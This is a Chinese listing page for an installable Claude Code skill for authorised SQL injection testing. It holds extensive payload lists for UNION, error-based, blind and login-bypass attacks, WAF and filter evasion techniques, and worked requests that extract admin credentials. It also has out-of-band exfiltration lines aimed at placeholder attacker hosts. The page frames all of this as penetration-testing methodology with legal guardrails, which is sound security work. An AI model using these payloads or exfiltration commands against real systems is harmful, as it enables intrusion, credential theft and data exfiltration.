关于 SQL Injection Testing
SQL Injection Testing 是用于经授权评估 Web 应用安全性的技能,提供检测和验证 SQL 注入、记录证据及编写修复建议的流程,涵盖多种数据库类型。
主要功能
- 01输入点与参数侦察
- 02带内及盲注测试
- 03身份验证绕过评估
- 04过滤器绕过技巧
- 05证据与修复报告
适用场景
- 01测试授权范围内的应用参数
- 02检查登录表单的注入缺陷
- 03评估盲注行为
- 04整理漏洞发现与修复建议
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill sql-injection-testing安装后在 Claude Code 中输入/sql-injection-testing确认已加载。
详细介绍
SQL 注入测试
用途
对 Web 应用执行全面的 SQL 注入漏洞评估,以识别数据库安全缺陷、演示利用技术并验证输入清理机制。该技能可系统性地检测和利用带内、盲注和带外攻击向量中的 SQL 注入漏洞,以评估应用安全态势。
输入 / 前提条件
所需访问权限
- 带有可注入参数的目标 Web 应用 URL
- 用于操纵请求的 Burp Suite 或同等代理工具
- 用于自动化利用的 SQLMap 安装
- 已启用开发者工具的浏览器
技术要求
- 理解 SQL 查询语法(MySQL、MSSQL、PostgreSQL、Oracle)
- 了解 HTTP 请求/响应周期
- 熟悉数据库模式和结构
- 对测试报告具有写入权限
法律前提条件
- 渗透测试的书面授权
- 已定义的范围,包括目标 URL 和参数
- 已建立紧急联系流程
- 已签署数据处理协议
输出 / 交付物
主要输出
- 带严重性评级的 SQL 注入漏洞报告
- 提取的数据库模式和表结构
- 身份验证绕过概念验证演示
- 带代码示例的修复建议
证据产物
- 成功注入的截图
- HTTP 请求/响应日志
- 数据库转储(已脱敏)
- 载荷文档
核心工作流
阶段 1:检测与侦察
识别可注入参数
定位与数据库查询交互的用户可控输入字段:
# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For
测试基本漏洞指标
插入特殊字符以触发错误响应:
-- Single quote test
'
-- Double quote test
"
-- Comment sequences
--
#
/**/
-- Semicolon for query stacking
;
-- Parentheses
)
监控应用程序响应,关注:
- 泄露查询结构的数据库错误消息
- 意外的应用程序行为变化
- HTTP 500 内部服务器错误
- 响应内容或长度发生变化
逻辑测试载荷
验证基于布尔值的漏洞是否存在:
-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--
-- False condition tests
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--
比较真和假条件下的响应,以确认注入能力。
阶段 2:利用技术
基于 UNION 的提取
将攻击者控制的 SELECT 语句与原始查询组合:
-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs
-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
基于错误的提取
强制数据库报错以泄露信息:
-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--
-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--
基于布尔的盲注提取
通过应用程序行为变化推断数据:
-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
基于时间的盲注提取
使用数据库休眠函数进行确认:
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--
带外(OOB)提取
通过外部通道窃取数据:
-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
阶段 3:身份验证绕过
登录表单利用
构造载荷以绕过凭据验证:
-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2
查询转换示例:
-- Original query
SELECT * FROM users WHERE username='input' AND password='input'
-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed via comment
阶段 4:过滤器绕过技术
字符编码绕过
当特殊字符被阻止时:
-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)
-- Double URL encoding
%2527 (single quote)
-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)
-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E -- 'admin' in hex
空白字符绕过
替换被阻止的空格:
-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users
-- Alternative whitespace
SELECT%09username%09FROM%09users -- Tab character
SELECT%0Ausername%0AFROM%0Ausers -- Newline
关键字绕过
规避被加入黑名单的 SQL 关键字:
-- Case variation
SeLeCt, sElEcT, SELECT
-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION
-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION
-- Null byte injection
%00SELECT
SEL%00ECT
快速参考
检测测试序列
1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
数据库指纹识别
-- MySQL
SELECT @@version
SELECT version()
-- MSSQL
SELECT @@version
SELECT @@servername
-- PostgreSQL
SELECT version()
-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version
Information Schema 查询
-- MySQL/MSSQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
常见载荷快速列表
| 用途 | 载荷 |
|---|---|
| 基本测试 | ' 或 " |
| 布尔真 | OR 1=1-- |
| 布尔假 | AND 1=2-- |
| 注释(MySQL) | # 或 -- |
| 注释(MSSQL) | -- |
| UNION 探测 | UNION SELECT NULL-- |
| 时间延迟 | AND SLEEP(5)-- |
| 身份验证绕过 | ' OR '1'='1 |
约束与防护栏
操作边界
- 未经明确授权,绝不执行破坏性查询(DROP、DELETE、TRUNCATE)
- 将数据提取限制在概念验证所需的量
- 避免通过资源密集型查询造成拒绝服务
- 一旦检测到包含真实用户数据的生产数据库,立即停止
技术限制
- WAF/IPS 可能会拦截常见载荷,需要使用规避技术
- 参数化查询可防止标准注入
- 某些盲注需要大量请求(存在速率限制方面的顾虑)
- 二阶注入需要理解数据流
法律与道德要求
- 测试前必须存在书面范围协议
- 记录所有提取的数据,并按照数据保护要求进行处理
- 通过约定渠道立即报告严重漏洞
- 绝不要访问超出范围要求的数据
示例
示例 1:电商产品页面 SQLi
场景:测试带有 ID 参数的产品展示页面
初始请求:
GET /product.php?id=5 HTTP/1.1
检测测试:
GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near '''
列枚举:
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)
数据提取:
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials
示例 2:基于时间的盲注提取
场景:没有可见输出,测试盲注
确认漏洞:
id=5' AND SLEEP(5)--
-- Response delayed by 5 seconds (vulnerable confirmed)
提取数据库名称长度:
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- Delay confirms database name is 8 characters
提取字符:
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'
示例 3:登录绕过
目标:管理员登录表单
标准登录查询:
SELECT * FROM users WHERE username='[input]' AND password='[input]'
注入载荷:
Username: administrator'--
Password: anything
生成的查询:
SELECT * FROM users WHERE username='administrator'--' AND password='anything'
结果:密码校验被绕过,以管理员身份完成认证。
故障排除
未显示错误消息
- 应用使用通用错误处理
- 切换到盲注技术(布尔型或基于时间)
- 监控响应长度差异,而不是内容
UNION 注入失败
- 列数可能不正确 → 使用 ORDER BY 测试
- 数据类型可能不匹配 → 先对所有列使用 NULL
- 结果可能未显示 → 查找可注入的列位置
WAF 拦截请求
- 使用编码技术(URL、hex、unicode)
- 在关键字中插入内联注释
- 对相同操作尝试替代语法
- 将载荷拆分到多个参数中
载荷未执行
- 验证数据库类型对应的正确注释语法
- 检查应用是否使用参数化查询
- 确认输入到达 SQL 查询(而不是在客户端被过滤)
- 测试不同的注入点(请求头、Cookie)
基于时间的注入不稳定
- 网络延迟可能导致误报
- 使用更长的延迟(10+ 秒)以明确结果
- 运行多次测试以确认模式
- 考虑服务器端缓存的影响
评论
支持 Markdown